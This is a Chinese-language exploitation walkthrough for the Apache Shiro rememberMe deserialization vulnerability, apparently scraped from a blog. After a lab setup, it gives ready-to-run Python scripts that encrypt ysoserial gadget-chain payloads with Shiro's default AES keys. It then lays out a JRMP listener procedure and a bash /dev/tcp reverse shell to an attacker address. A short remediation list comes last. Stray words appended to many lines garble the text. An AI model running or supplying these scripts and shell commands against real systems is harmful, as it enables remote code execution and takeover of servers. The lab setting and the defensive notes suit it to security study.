Apache Shiro是一個強大且易用的Java安全框架,執行身份驗證、受權、密碼和會話管理。html
只要 rememberMe 的 AES 加密密鑰泄露,不管 shiro 是什麼版本都會致使反序列化漏洞python
# 獲取 shrio 鏡像 sudo docker pull medicean/vulapps:s_shiro_1 # 重啓 docker sudo systemctl restart docker # 啓動 shiro 環境 sudo docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1 # 查看環境 sudo docker ps # 進入環境目錄(目錄名爲啓動 shrio 環境時返回的名字(或用查看環境的命令查看)) sudo docker exec -it 268f542b6482 bash
如提示: No module named 'Crypto'
git
則需安裝第三方庫: pycryptodome
github
pip3 install pycryptodome
ShiroExploit
Shiro_rce.py
ysoserial.jardocker
shiro_rce
使用方法(會大量發包):shell
python3 shiro_rce.py http://192.168.1.233:8081/login.jsp "ping -c 127.0.0.1"
s.py
內容爲:express
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
s.py
使用方法:swift
python2 s.py 192.168.1.203:1099
shiron.py
內容爲:安全
import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'URLDNS', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" #key = "Z3VucwAAAAAAAAAAAAAAAA==" #key = "wGiHplamyXlVB11UXWol8g==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) with open("payload.cookie", "w") as fpw: print("rememberMe={0}".format(payload.decode()),file=fpw)
shiro.py
使用方法(回顯):
python3 shiro.py "http://test.test"
shiro_command.py
內容爲:
import sys import base64 import uuid from random import Random import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) with open("payload.cookies", "w") as fpw: print("rememberMe={}".format(payload.decode()), file=fpw)
shiro_command.py
使用方法(命令執行,payload 在 payload.cookies 文件內):
python3 shiro_command.py "ping -c 127.0.0.1"
Jythpn(用於將 Python 代碼轉換成 JAVA 代碼)
Shiro Discovery 內容爲:
# /usr/bin/env python # _*_ coding:utf-8 _*_ __author__ = 'tkswifty' from burp import IBurpExtender from burp import IHttpListener from burp import IHttpRequestResponse from burp import IResponseInfo from burp import IRequestInfo from burp import IHttpService import sys import time import os import re import random class BurpExtender(IBurpExtender, IHttpListener): def __init__(self): self.payload = ['rememberMe','rmemberMe-tk'] def registerExtenderCallbacks(self, callbacks): print("[+] #####################################") print("[+] Shiro Discovery") print("[+] Author: tkswifty") print("[+] #####################################\r\n\r\n") self._callbacks = callbacks self._helpers = callbacks.getHelpers() callbacks.setExtensionName('Shiro Discovery') callbacks.registerHttpListener(self) def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): if toolFlag == self._callbacks.TOOL_PROXY or toolFlag == self._callbacks.TOOL_REPEATER: # 監聽Response if not messageIsRequest: '''請求數據''' # 獲取請求包的數據 resquest = messageInfo.getRequest() analyzedRequest = self._helpers.analyzeRequest(resquest) request_header = analyzedRequest.getHeaders() request_bodys = resquest[analyzedRequest.getBodyOffset():].tostring() request_host, request_Path = self.get_request_host(request_header) request_contentType = analyzedRequest.getContentType() if len(filter(lambda x: 'Cookie' in x, request_header))>0: pass else: request_header.append("Cookie:") # 獲取服務端的信息,主機地址,端口,協議 httpService = messageInfo.getHttpService() port = httpService.getPort() host = httpService.getHost() protocol = httpService.getProtocol() #修改cookie檢測shiro self.sendPayload(request_header, host, port, protocol, request_bodys,messageInfo) # 發起請求並進行Shiro檢測 def sendPayload(self, request_header, host, port, protocol, request_bodys,messageInfo): for shiroHeader in self.payload: for i in xrange(0,len(request_header)): if request_header[i].startswith("Cookie:"): request_header[i] = request_header[i]+";"+shiroHeader+"=shiroDiscover" newRequest = self._helpers.buildHttpMessage(request_header,self._helpers.stringToBytes(request_bodys)) if 's' in protocol: ishttps = True else: ishttps = False expression = r'.*(443).*' if re.match(expression, str(port)): ishttps = True rep = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest) #新的請求響應包 analyzedResponse = self._helpers.analyzeResponse(rep) rep_headers = analyzedResponse.getHeaders() expression = r'.*(deleteMe).*' for rpheader in rep_headers: if rpheader.startswith("Set-Cookie:") and re.match(expression, rpheader): response_is_shiro = True messageInfo.setHighlight('orange') print "[+] Find Shiro application" print "\t[-] host:" + str(host) print "\t[-] port:" + str(port) # 獲取請求的url def get_request_host(self, reqHeaders): uri = reqHeaders[0].split(' ')[1] host = reqHeaders[1].split(' ')[1] return host, uri # 獲取請求的一些信息:請求頭,請求內容,請求方法,請求參數 def get_request_info(self, request): analyzedIRequestInfo = self._helpers.analyzeRequest(request) reqHeaders = analyzedIRequestInfo.getHeaders() reqBodys = request[analyzedIRequestInfo.getBodyOffset():].tostring() reqMethod = analyzedIRequestInfo.getMethod() reqParameters = analyzedIRequestInfo.getParameters() reqHost, reqPath = self.get_request_host(reqHeaders) reqContentType = analyzedIRequestInfo.getContentType() print(reqHost, reqPath) return analyzedIRequestInfo, reqHeaders, reqBodys, reqMethod, reqParameters, reqHost, reqContentType # 獲取響應的一些信息:響應頭,響應內容,響應狀態碼 def get_response_info(self, response): analyzedIResponseInfo = self._helpers.analyzeRequest(response) resHeaders = analyzedIResponseInfo.getHeaders() resBodys = response[analyzedIResponseInfo.getBodyOffset():].tostring() # getStatusCode獲取響應中包含的HTTP狀態代碼。返回:響應中包含的HTTP狀態代碼。 # resStatusCode = analyzedIResponseInfo.getStatusCode() return resHeaders, resBodys # 獲取請求的參數名、參數值、參數類型(get、post、cookie->用來構造參數時使用) def get_parameter_Name_Value_Type(self, parameter): parameterName = parameter.getName() parameterValue = parameter.getValue() parameterType = parameter.getType() return parameterName, parameterValue, parameterType def doActiveScan(self, baseRequestResponse, insertionPoint): pass def doPassiveScan(self, baseRequestResponse): self.issues = [] self.start_run(baseRequestResponse) return self.issues def consolidateDuplicateIssues(self, existingIssue, newIssue): ''' 相同的數據包,只報告一份報告 :param existingIssue: :param newIssue: :return: ''' if existingIssue.getIssueDetail() == newIssue.getIssueDetail(): return -1 return 0
在已有的cookie
值後面接 ;rememberMe=1
如返回 rememberMe=deleteMe
則說明可能存在 shiro
漏洞
一、攻擊端監聽 9999 端口
二、構造反彈 shell 命令,並進行 Base64編碼 (如不進行 Base64編碼 可能會出現問題)
/bin/bash -i >& /dev/tcp/192.168.1.203/9999 0>&1
三、攻擊端開啓 JRMP(端口爲:8888)
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections4 "【Base64 編碼後的反彈 shell 命令】"
四、使用 s.py 獲取 Payload(此處端口爲 JRMP 的端口)
python2 s.py 192.168.1.203:8888
五、將獲取到的 Payload 到 Burp 粘貼併發送
六、此時可看到靶機已鏈接 JRMP
監聽的 9999 端口已獲取到反彈的 shell
一、升級shiro到1.2.5及以上
二、刪除代碼裏的默認密鑰
三、默認配置裏註釋了默認密鑰
四、若是不配置密鑰,每次會從新隨機一個密鑰
https://www.cnblogs.com/panisme/p/12552838.html
http://www.javashuo.com/article/p-arohnkmh-dd.html